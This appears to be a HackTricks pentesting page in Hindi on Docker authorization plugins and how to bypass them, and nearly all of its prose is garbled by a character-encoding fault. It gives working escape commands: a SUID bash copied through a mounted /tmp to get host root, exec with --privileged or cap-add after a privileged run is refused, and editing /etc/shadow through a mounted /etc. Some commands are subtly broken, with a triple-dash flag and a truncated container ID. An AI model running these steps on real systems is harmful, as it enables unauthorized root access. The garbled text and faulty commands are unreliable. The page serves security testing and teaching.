tip

AWS рд╣реИрдХрд┐рдВрдЧ рд╕реАрдЦреЗрдВ рдФрд░ рдЕрднреНрдпрд╛рд╕ рдХрд░реЗрдВ:HackTricks Training AWS Red Team Expert (ARTE)
GCP рд╣реИрдХрд┐рдВрдЧ рд╕реАрдЦреЗрдВ рдФрд░ рдЕрднреНрдпрд╛рд╕ рдХрд░реЗрдВ: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks рдХрд╛ рд╕рдорд░реНрдерди рдХрд░реЗрдВ

Docker рдХрд╛ рдмреЙрдХреНрд╕ рд╕реЗ рдмрд╛рд╣рд░ рдХрд╛ рдЕрдзрд┐рдХрд╛рд░ рдореЙрдбрд▓ рд╕рдм рдХреБрдЫ рдпрд╛ рдХреБрдЫ рдирд╣реАрдВ рд╣реИред рдХрд┐рд╕реА рднреА рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЛ рдЬреЛ Docker рдбреЗрдорди рддрдХ рдкрд╣реБрдБрдЪрдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рд░рдЦрддрд╛ рд╣реИ, рд╡рд╣ рдХрд┐рд╕реА рднреА Docker рдХреНрд▓рд╛рдЗрдВрдЯ рдХрдорд╛рдВрдб рдХреЛ рдЪрд▓рд╛рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рд╣реИред рдпрд╣ рд╡рд╣реА рд╕рдЪ рд╣реИ рдЬреЛ Docker рдХреЗ рдЗрдВрдЬрди API рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдбреЗрдорди рд╕реЗ рд╕рдВрдкрд░реНрдХ рдХрд░рдиреЗ рд╡рд╛рд▓реЗ рдХреЙрд▓рд░реНрд╕ рдХреЗ рд▓рд┐рдП рд╣реИред рдпрджрд┐ рдЖрдкрдХреЛ рдЕрдзрд┐рдХ рдкрд╣реБрдБрдЪ рдирд┐рдпрдВрддреНрд░рдг рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ, рддреЛ рдЖрдк рдЕрдзрд┐рдХрд╛рд░ рдкреНрд▓рдЧрдЗрдиреНрд╕ рдмрдирд╛ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдЙрдиреНрд╣реЗрдВ рдЕрдкрдиреЗ Docker рдбреЗрдорди рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдореЗрдВ рдЬреЛрдбрд╝ рд╕рдХрддреЗ рд╣реИрдВред рдПрдХ рдЕрдзрд┐рдХрд╛рд░ рдкреНрд▓рдЧрдЗрди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ, рдПрдХ Docker рдкреНрд░рд╢рд╛рд╕рдХ рд╕рдЯреАрдХ рдкрд╣реБрдБрдЪ рдиреАрддрд┐рдпреЛрдВ рдХреЛ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд░ рд╕рдХрддрд╛ рд╣реИ рдЬреЛ Docker рдбреЗрдорди рддрдХ рдкрд╣реБрдБрдЪ рдХреЛ рдкреНрд░рдмрдВрдзрд┐рдд рдХрд░рддреА рд╣реИрдВред

рдмреБрдирд┐рдпрд╛рджреА рдЖрд░реНрдХрд┐рдЯреЗрдХреНрдЪрд░

Docker Auth рдкреНрд▓рдЧрдЗрдиреНрд╕ рдмрд╛рд╣рд░реА рдкреНрд▓рдЧрдЗрдиреНрд╕ рд╣реИрдВ рдЬрд┐рдиреНрд╣реЗрдВ рдЖрдк рдХрд╛рд░реНрд░рд╡рд╛рдЗрдпреЛрдВ рдХреЛ рдЕрдиреБрдорддрд┐/рдЕрд╕реНрд╡реАрдХреГрддрд┐ рджреЗрдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдЬреЛ Docker рдбреЗрдорди рдХреЛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рдЖрдзрд╛рд░ рдкрд░ рдЕрдиреБрд░реЛрдз рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ рдФрд░ рдЕрдиреБрд░реЛрдзрд┐рдд рдХреНрд░рд┐рдпрд╛ рдкрд░ рдирд┐рд░реНрднрд░ рдХрд░рддрд╛ рд╣реИред

рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдЬрд╛рдирдХрд╛рд░реА рджрд╕реНрддрд╛рд╡реЗрдЬрд╝реЛрдВ рд╕реЗ рд╣реИ

рдЬрдм рдПрдХ HTTP рдЕрдиреБрд░реЛрдз Docker рдбреЗрдорди рдХреЛ CLI рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдпрд╛ рдЗрдВрдЬрди API рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдЙрдкрдкреНрд░рдгрд╛рд▓реА рдЕрдиреБрд░реЛрдз рдХреЛ рд╕реНрдерд╛рдкрд┐рдд рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдкреНрд▓рдЧрдЗрди(s) рдХреЛ рднреЗрдЬрддреА рд╣реИред рдЕрдиреБрд░реЛрдз рдореЗрдВ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ (рдХреЙрд▓рд░) рдФрд░ рдХрдорд╛рдВрдб рд╕рдВрджрд░реНрдн рд╣реЛрддрд╛ рд╣реИред рдкреНрд▓рдЧрдЗрди рдпрд╣ рддрдп рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЬрд┐рдореНрдореЗрджрд╛рд░ рд╣реИ рдХрд┐ рдЕрдиреБрд░реЛрдз рдХреЛ рдЕрдиреБрдорддрд┐ рджреА рдЬрд╛рдП рдпрд╛ рдЕрд╕реНрд╡реАрдХреГрдд рдХрд┐рдпрд╛ рдЬрд╛рдПред

рдиреАрдЪреЗ рджрд┐рдП рдЧрдП рдЕрдиреБрдХреНрд░рдо рдЖрд░реЗрдЦ рдПрдХ рдЕрдиреБрдорддрд┐ рдФрд░ рдЕрд╕реНрд╡реАрдХреГрддрд┐ рдЕрдзрд┐рдХрд╛рд░ рдкреНрд░рд╡рд╛рд╣ рдХреЛ рджрд░реНрд╢рд╛рддреЗ рд╣реИрдВ:

Authorization Allow flow

Authorization Deny flow

рдкреНрд░рддреНрдпреЗрдХ рдЕрдиреБрд░реЛрдз рдЬреЛ рдкреНрд▓рдЧрдЗрди рдХреЛ рднреЗрдЬрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдкреНрд░рдорд╛рдгрд┐рдд рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛, HTTP рд╣реЗрдбрд░, рдФрд░ рдЕрдиреБрд░реЛрдз/рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рд╢рд░реАрд░ рдХреЛ рд╢рд╛рдорд┐рд▓ рдХрд░рддрд╛ рд╣реИред рдХреЗрд╡рд▓ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдирд╛рдо рдФрд░ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рд╡рд┐рдзрд┐ рдЬреЛ рдЙрдкрдпреЛрдЧ рдХреА рдЧрдИ рд╣реИ, рдкреНрд▓рдЧрдЗрди рдХреЛ рднреЗрдЬреА рдЬрд╛рддреА рд╣реИред рд╕рдмрд╕реЗ рдорд╣рддреНрд╡рдкреВрд░реНрдг рдмрд╛рдд, рдХреЛрдИ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдпрд╛ рдЯреЛрдХрди рдирд╣реАрдВ рднреЗрдЬреЗ рдЬрд╛рддреЗ рд╣реИрдВред рдЕрдВрдд рдореЗрдВ, рд╕рднреА рдЕрдиреБрд░реЛрдз/рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рд╢рд░реАрд░ рдХреЛ рдЕрдзрд┐рдХрд╛рд░ рдкреНрд▓рдЧрдЗрди рдХреЛ рдирд╣реАрдВ рднреЗрдЬрд╛ рдЬрд╛рддрд╛ рд╣реИред рдХреЗрд╡рд▓ рд╡реЗ рдЕрдиреБрд░реЛрдз/рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рд╢рд░реАрд░ рдЬрд╣рд╛рдВ Content-Type рдпрд╛ рддреЛ text/* рдпрд╛ application/json рд╣реИ, рднреЗрдЬреЗ рдЬрд╛рддреЗ рд╣реИрдВред

рдЙрди рдХрдорд╛рдВрдб рдХреЗ рд▓рд┐рдП рдЬреЛ HTTP рдХрдиреЗрдХреНрд╢рди рдХреЛ рд╕рдВрднрд╛рд╡рд┐рдд рд░реВрдк рд╕реЗ рд╣рд╛рдИрдЬреИрдХ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ (HTTP Upgrade), рдЬреИрд╕реЗ exec, рдЕрдзрд┐рдХрд╛рд░ рдкреНрд▓рдЧрдЗрди рдХреЗрд╡рд▓ рдкреНрд░рд╛рд░рдВрднрд┐рдХ HTTP рдЕрдиреБрд░реЛрдзреЛрдВ рдХреЗ рд▓рд┐рдП рдХреЙрд▓ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдПрдХ рдмрд╛рд░ рдЬрдм рдкреНрд▓рдЧрдЗрди рдХрдорд╛рдВрдб рдХреЛ рдордВрдЬреВрд░реА рджреЗрддрд╛ рд╣реИ, рддреЛ рд╢реЗрд╖ рдкреНрд░рд╡рд╛рд╣ рдкрд░ рдЕрдзрд┐рдХрд╛рд░ рд▓рд╛рдЧреВ рдирд╣реАрдВ рд╣реЛрддрд╛ рд╣реИред рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ, рд╕реНрдЯреНрд░реАрдорд┐рдВрдЧ рдбреЗрдЯрд╛ рдХреЛ рдЕрдзрд┐рдХрд╛рд░ рдкреНрд▓рдЧрдЗрдиреНрд╕ рдХреЛ рдирд╣реАрдВ рднреЗрдЬрд╛ рдЬрд╛рддрд╛ рд╣реИред рдЙрди рдХрдорд╛рдВрдб рдХреЗ рд▓рд┐рдП рдЬреЛ рдЪрдВрдХреНрдб HTTP рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рд▓реМрдЯрд╛рддреЗ рд╣реИрдВ, рдЬреИрд╕реЗ logs рдФрд░ events, рдХреЗрд╡рд▓ HTTP рдЕрдиреБрд░реЛрдз рдХреЛ рдЕрдзрд┐рдХрд╛рд░ рдкреНрд▓рдЧрдЗрдиреНрд╕ рдХреЛ рднреЗрдЬрд╛ рдЬрд╛рддрд╛ рд╣реИред

рдЕрдиреБрд░реЛрдз/рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдкреНрд░рд╕рдВрд╕реНрдХрд░рдг рдХреЗ рджреМрд░рд╛рди, рдХреБрдЫ рдЕрдзрд┐рдХрд╛рд░ рдкреНрд░рд╡рд╛рд╣ рдХреЛ Docker рдбреЗрдорди рдХреЗ рд▓рд┐рдП рдЕрддрд┐рд░рд┐рдХреНрдд рдкреНрд░рд╢реНрди рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛ рд╕рдХрддреА рд╣реИред рдРрд╕реЗ рдкреНрд░рд╡рд╛рд╣ рдХреЛ рдкреВрд░рд╛ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдкреНрд▓рдЧрдЗрдиреНрд╕ рдирд┐рдпрдорд┐рдд рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рд╕рдорд╛рди рдбреЗрдорди API рдХреЛ рдХреЙрд▓ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдЗрди рдЕрддрд┐рд░рд┐рдХреНрдд рдкреНрд░рд╢реНрдиреЛрдВ рдХреЛ рд╕рдХреНрд╖рдо рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдкреНрд▓рдЧрдЗрди рдХреЛ рдПрдХ рдкреНрд░рд╢рд╛рд╕рдХ рдХреЛ рдЙрдЪрд┐рдд рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдФрд░ рд╕реБрд░рдХреНрд╖рд╛ рдиреАрддрд┐рдпреЛрдВ рдХреЛ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╕рд╛рдзрди рдкреНрд░рджрд╛рди рдХрд░рдирд╛ рдЪрд╛рд╣рд┐рдПред

рдХрдИ рдкреНрд▓рдЧрдЗрдиреНрд╕

рдЖрдкрдХреЛ Docker рдбреЗрдорди рд╕реНрдЯрд╛рд░реНрдЯрдЕрдк рдХреЗ рд╣рд┐рд╕реНрд╕реЗ рдХреЗ рд░реВрдк рдореЗрдВ рдЕрдкрдиреЗ рдкреНрд▓рдЧрдЗрди рдХреЛ рдкрдВрдЬреАрдХреГрдд рдХрд░рдиреЗ рдХреА рдЬрд┐рдореНрдореЗрджрд╛рд░реА рд╣реИред рдЖрдк рдХрдИ рдкреНрд▓рдЧрдЗрдиреНрд╕ рд╕реНрдерд╛рдкрд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдЙрдиреНрд╣реЗрдВ рдПрдХ рд╕рд╛рде рдЬреЛрдбрд╝ рд╕рдХрддреЗ рд╣реИрдВред рдпрд╣ рд╢реНрд░реГрдВрдЦрд▓рд╛ рдХреНрд░рдордмрджреНрдз рд╣реЛ рд╕рдХрддреА рд╣реИред рдбреЗрдорди рдХреЗ рд▓рд┐рдП рдкреНрд░рддреНрдпреЗрдХ рдЕрдиреБрд░реЛрдз рд╢реНрд░реГрдВрдЦрд▓рд╛ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдХреНрд░рдо рдореЗрдВ рдкрд╛рд╕ рд╣реЛрддрд╛ рд╣реИред рдХреЗрд╡рд▓ рдЬрдм рд╕рднреА рдкреНрд▓рдЧрдЗрдиреНрд╕ рд╕рдВрд╕рд╛рдзрди рддрдХ рдкрд╣реБрдБрдЪ рдкреНрд░рджрд╛рди рдХрд░рддреЗ рд╣реИрдВ, рддрдм рдкрд╣реБрдБрдЪ рджреА рдЬрд╛рддреА рд╣реИред

рдкреНрд▓рдЧрдЗрди рдЙрджрд╛рд╣рд░рдг

Twistlock AuthZ Broker

рдкреНрд▓рдЧрдЗрди authz рдЖрдкрдХреЛ рдПрдХ рд╕рд░рд▓ JSON рдлрд╝рд╛рдЗрд▓ рдмрдирд╛рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ рдЬрд┐рд╕реЗ рдкреНрд▓рдЧрдЗрди рдЕрдиреБрд░реЛрдзреЛрдВ рдХреЛ рдЕрдзрд┐рдХреГрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдкрдврд╝реЗрдЧрд╛ред рдЗрд╕рд▓рд┐рдП, рдпрд╣ рдЖрдкрдХреЛ рдмрд╣реБрдд рдЖрд╕рд╛рдиреА рд╕реЗ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░рдиреЗ рдХрд╛ рдЕрд╡рд╕рд░ рджреЗрддрд╛ рд╣реИ рдХрд┐ рдХреМрди рд╕реЗ API рдПрдВрдбрдкреЙрдЗрдВрдЯ рдкреНрд░рддреНрдпреЗрдХ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рддрдХ рдкрд╣реБрдБрдЪ рд╕рдХрддреЗ рд╣реИрдВред

рдпрд╣ рдПрдХ рдЙрджрд╛рд╣рд░рдг рд╣реИ рдЬреЛ рдПрд▓реАрд╕ рдФрд░ рдмреЙрдм рдХреЛ рдирдП рдХрдВрдЯреЗрдирд░ рдмрдирд╛рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрдЧрд╛: {"name":"policy_3","users":["alice","bob"],"actions":["container_create"]}

рдкреГрд╖реНрда route_parser.go рдореЗрдВ рдЖрдк рдЕрдиреБрд░реЛрдзрд┐рдд URL рдФрд░ рдХреНрд░рд┐рдпрд╛ рдХреЗ рдмреАрдЪ рд╕рдВрдмрдВрдз рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВред рдкреГрд╖реНрда types.go рдореЗрдВ рдЖрдк рдХреНрд░рд┐рдпрд╛ рдирд╛рдо рдФрд░ рдХреНрд░рд┐рдпрд╛ рдХреЗ рдмреАрдЪ рд╕рдВрдмрдВрдз рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВред

рд╕рд░рд▓ рдкреНрд▓рдЧрдЗрди рдЯреНрдпреВрдЯреЛрд░рд┐рдпрд▓

рдЖрдк рдпрд╣рд╛рдБ рдПрдХ рд╕рдордЭрдиреЗ рдореЗрдВ рдЖрд╕рд╛рди рдкреНрд▓рдЧрдЗрди рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВ рдЬрд┐рд╕рдореЗрдВ рд╕реНрдерд╛рдкрдирд╛ рдФрд░ рдбрд┐рдмрдЧрд┐рдВрдЧ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рд╡рд┐рд╕реНрддреГрдд рдЬрд╛рдирдХрд╛рд░реА рд╣реИ: https://github.com/carlospolop-forks/authobot

рд╕рдордЭрдиреЗ рдХреЗ рд▓рд┐рдП README рдФрд░ plugin.go рдХреЛрдб рдкрдврд╝реЗрдВ рдХрд┐ рдпрд╣ рдХреИрд╕реЗ рдХрд╛рдо рдХрд░ рд░рд╣рд╛ рд╣реИред

Docker Auth Plugin Bypass

рдкрд╣реБрдБрдЪ рдХреА рдЧрдгрдирд╛ рдХрд░реЗрдВ

рдЬрд╛рдВрдЪрдиреЗ рдХреЗ рд▓рд┐рдП рдореБрдЦреНрдп рдмрд╛рддреЗрдВ рд╣реИрдВ рдХреМрди рд╕реЗ рдПрдВрдбрдкреЙрдЗрдВрдЯреНрд╕ рдХреА рдЕрдиреБрдорддрд┐ рд╣реИ рдФрд░ рдХреМрди рд╕реЗ HostConfig рдХреЗ рдорд╛рдиреЛрдВ рдХреА рдЕрдиреБрдорддрд┐ рд╣реИред

рдЗрд╕ рдЧрдгрдирд╛ рдХреЛ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрдк рдЙрдкрдХрд░рдг https://github.com/carlospolop/docker_auth_profiler** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред**

рдЕрд╕реНрд╡реАрдХреГрдд run --privileged

рдиреНрдпреВрдирддрдо рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░

bash
docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash

Running a container and then getting a privileged session

рдЗрд╕ рдорд╛рдорд▓реЗ рдореЗрдВ sysadmin рдиреЗ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЛ рд╡реЙрд▓реНрдпреВрдо рдорд╛рдЙрдВрдЯ рдХрд░рдиреЗ рдФрд░ --privileged рдлреНрд▓реИрдЧ рдХреЗ рд╕рд╛рде рдХрдВрдЯреЗрдирд░ рдЪрд▓рд╛рдиреЗ рдпрд╛ рдХрдВрдЯреЗрдирд░ рдХреЛ рдХреЛрдИ рдЕрддрд┐рд░рд┐рдХреНрдд рдХреНрд╖рдорддрд╛ рджреЗрдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рдирд╣реАрдВ рджреА:

bash
docker run -d --privileged modified-ubuntu docker: Error response from daemon: authorization denied by plugin customauth: [DOCKER FIREWALL] Specified Privileged option value is Disallowed. See 'docker run --help'.

рд╣рд╛рд▓рд╛рдВрдХрд┐, рдПрдХ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЪрд▓ рд░рд╣реЗ рдХрдВрдЯреЗрдирд░ рдХреЗ рдЕрдВрджрд░ рдПрдХ рд╢реЗрд▓ рдмрдирд╛ рд╕рдХрддрд╛ рд╣реИ рдФрд░ рдЙрд╕реЗ рдЕрддрд┐рд░рд┐рдХреНрдд рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рджреЗ рд╕рдХрддрд╛ рд╣реИ:

bash
docker run -d --security-opt seccomp=unconfined --security-opt apparmor=unconfined ubuntu #bb72293810b0f4ea65ee8fd200db418a48593c1a8a31407be6fee0f9f3e4f1de # Now you can run a shell with --privileged docker exec -it privileged bb72293810b0f4ea65ee8fd200db418a48593c1a8a31407be6fee0f9f3e4f1de bash # With --cap-add=ALL docker exec -it ---cap-add=ALL bb72293810b0f4ea65ee8fd200db418a48593c1a8a31407be6fee0f9f3e4 bash # With --cap-add=SYS_ADMIN docker exec -it ---cap-add=SYS_ADMIN bb72293810b0f4ea65ee8fd200db418a48593c1a8a31407be6fee0f9f3e4 bash

рдЕрдм, рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХрд┐рд╕реА рднреА рдкрд╣рд▓реЗ рдЪрд░реНрдЪрд╛ рдХреА рдЧрдИ рддрдХрдиреАрдХреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдХрдВрдЯреЗрдирд░ рд╕реЗ рдмрд╛рд╣рд░ рдирд┐рдХрд▓ рд╕рдХрддрд╛ рд╣реИ рдФрд░ рд╣реЛрд╕реНрдЯ рдХреЗ рдЕрдВрджрд░ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдмрдврд╝рд╛ рд╕рдХрддрд╛ рд╣реИред

рд▓рд┐рдЦрдиреЗ рдпреЛрдЧреНрдп рдлрд╝реЛрд▓реНрдбрд░ рдорд╛рдЙрдВрдЯ рдХрд░реЗрдВ

рдЗрд╕ рдорд╛рдорд▓реЗ рдореЗрдВ, рд╕рд┐рд╕реНрдЯрдо рдкреНрд░рд╢рд╛рд╕рдХ рдиреЗ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЛ --privileged рдзреНрд╡рдЬ рдХреЗ рд╕рд╛рде рдХрдВрдЯреЗрдирд░ рдЪрд▓рд╛рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рдирд╣реАрдВ рджреА рдпрд╛ рдХрдВрдЯреЗрдирд░ рдХреЛ рдХреЛрдИ рдЕрддрд┐рд░рд┐рдХреНрдд рдХреНрд╖рдорддрд╛ рджреЗрдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рдирд╣реАрдВ рджреА, рдФрд░ рдЙрд╕рдиреЗ рдХреЗрд╡рд▓ /tmp рдлрд╝реЛрд▓реНрдбрд░ рдХреЛ рдорд╛рдЙрдВрдЯ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреА:

bash
host> cp /bin/bash /tmp #Cerate a copy of bash host> docker run -it -v /tmp:/host ubuntu:18.04 bash #Mount the /tmp folder of the host and get a shell docker container> chown root:root /host/bash docker container> chmod u+s /host/bash host> /tmp/bash -p #This will give you a shell as root

note

рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдЖрдк /tmp рдлрд╝реЛрд▓реНрдбрд░ рдХреЛ рдорд╛рдЙрдВрдЯ рдирд╣реАрдВ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рд▓реЗрдХрд┐рди рдЖрдк рдПрдХ рд╡рд┐рднрд┐рдиреНрди рд▓рд┐рдЦрдиреЗ рдпреЛрдЧреНрдп рдлрд╝реЛрд▓реНрдбрд░ рдХреЛ рдорд╛рдЙрдВрдЯ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдЖрдк рд▓рд┐рдЦрдиреЗ рдпреЛрдЧреНрдп рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛рдПрдБ рдЦреЛрдЬрдиреЗ рдХреЗ рд▓рд┐рдП: find / -writable -type d 2>/dev/null рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред

рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рд╕рднреА рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛рдПрдБ рдПрдХ рд▓рд┐рдирдХреНрд╕ рдорд╢реАрди рдореЗрдВ suid рдмрд┐рдЯ рдХрд╛ рд╕рдорд░реНрдерди рдирд╣реАрдВ рдХрд░реЗрдВрдЧреА! рдпрд╣ рдЬрд╛рдВрдЪрдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐ рдХреМрди рд╕реА рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛рдПрдБ suid рдмрд┐рдЯ рдХрд╛ рд╕рдорд░реНрдерди рдХрд░рддреА рд╣реИрдВ, mount | grep -v "nosuid" рдЪрд▓рд╛рдПрдБред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП рдЖрдорддреМрд░ рдкрд░ /dev/shm, /run, /proc, /sys/fs/cgroup рдФрд░ /var/lib/lxcfs suid рдмрд┐рдЯ рдХрд╛ рд╕рдорд░реНрдерди рдирд╣реАрдВ рдХрд░рддреЗ рд╣реИрдВред

рдпрд╣ рднреА рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдпрджрд┐ рдЖрдк /etc рдпрд╛ рдХрд┐рд╕реА рдЕрдиреНрдп рдлрд╝реЛрд▓реНрдбрд░ рдЬрд┐рд╕рдореЗрдВ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдлрд╝рд╛рдЗрд▓реЗрдВ рд╣реИрдВ рдХреЛ рдорд╛рдЙрдВрдЯ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рддреЛ рдЖрдк рдЙрдиреНрд╣реЗрдВ рдбреЙрдХрд░ рдХрдВрдЯреЗрдирд░ рд╕реЗ рд░реВрдЯ рдХреЗ рд░реВрдк рдореЗрдВ рдмрджрд▓ рд╕рдХрддреЗ рд╣реИрдВ рддрд╛рдХрд┐ рдЖрдк рдЙрдиреНрд╣реЗрдВ рд╣реЛрд╕реНрдЯ рдореЗрдВ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░ рд╕рдХреЗрдВ рдФрд░ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдмрдврд╝рд╛ рд╕рдХреЗрдВ (рд╢рд╛рдпрдж /etc/shadow рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░рдХреЗ)

Unchecked API Endpoint

рдЗрд╕ рдкреНрд▓рдЧрдЗрди рдХреЛ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд░рдиреЗ рд╡рд╛рд▓реЗ рд╕рд┐рд╕реНрдЯрдо рдкреНрд░рд╢рд╛рд╕рдХ рдХреА рдЬрд┐рдореНрдореЗрджрд╛рд░реА рдпрд╣ рд╣реЛрдЧреА рдХрд┐ рд╡рд╣ рдпрд╣ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░реЗ рдХрд┐ рдкреНрд░рддреНрдпреЗрдХ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреМрди рд╕реА рдХреНрд░рд┐рдпрд╛рдПрдБ рдФрд░ рдХрд┐рд╕ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдХреЗ рд╕рд╛рде рдХрд░ рд╕рдХрддрд╛ рд╣реИред рдЗрд╕рд▓рд┐рдП, рдпрджрд┐ рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ рдиреЗ рдЕрдВрдд рдмрд┐рдВрджреБрдУрдВ рдФрд░ рд╡рд┐рд╢реЗрд╖рддрд╛рдУрдВ рдХреЗ рд╕рд╛рде рдмреНрд▓реИрдХрд▓рд┐рд╕реНрдЯ рджреГрд╖реНрдЯрд┐рдХреЛрдг рдЕрдкрдирд╛рдпрд╛ рд╣реИ, рддреЛ рд╡рд╣ рдХреБрдЫ рдХреЛ рднреВрд▓ рд╕рдХрддрд╛ рд╣реИ рдЬреЛ рд╣рдорд▓рд╛рд╡рд░ рдХреЛ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдмрдврд╝рд╛рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗ рд╕рдХрддрд╛ рд╣реИред

рдЖрдк рдбреЙрдХрд░ API рдХреА рдЬрд╛рдВрдЪ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ https://docs.docker.com/engine/api/v1.40/#

Unchecked JSON Structure

Binds in root

рд╕рдВрднрд╡ рд╣реИ рдХрд┐ рдЬрдм рд╕рд┐рд╕реНрдЯрдо рдкреНрд░рд╢рд╛рд╕рдХ рдиреЗ рдбреЙрдХрд░ рдлрд╝рд╛рдпрд░рд╡реЙрд▓ рдХреЛ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд┐рдпрд╛, рддреЛ рдЙрд╕рдиреЗ API рдХреЗ рдХреБрдЫ рдорд╣рддреНрд╡рдкреВрд░реНрдг рдкреИрд░рд╛рдореАрдЯрд░ рдХреЛ рднреВрд▓ рдЧрдпрд╛ рдЬреИрд╕реЗ "Binds"ред
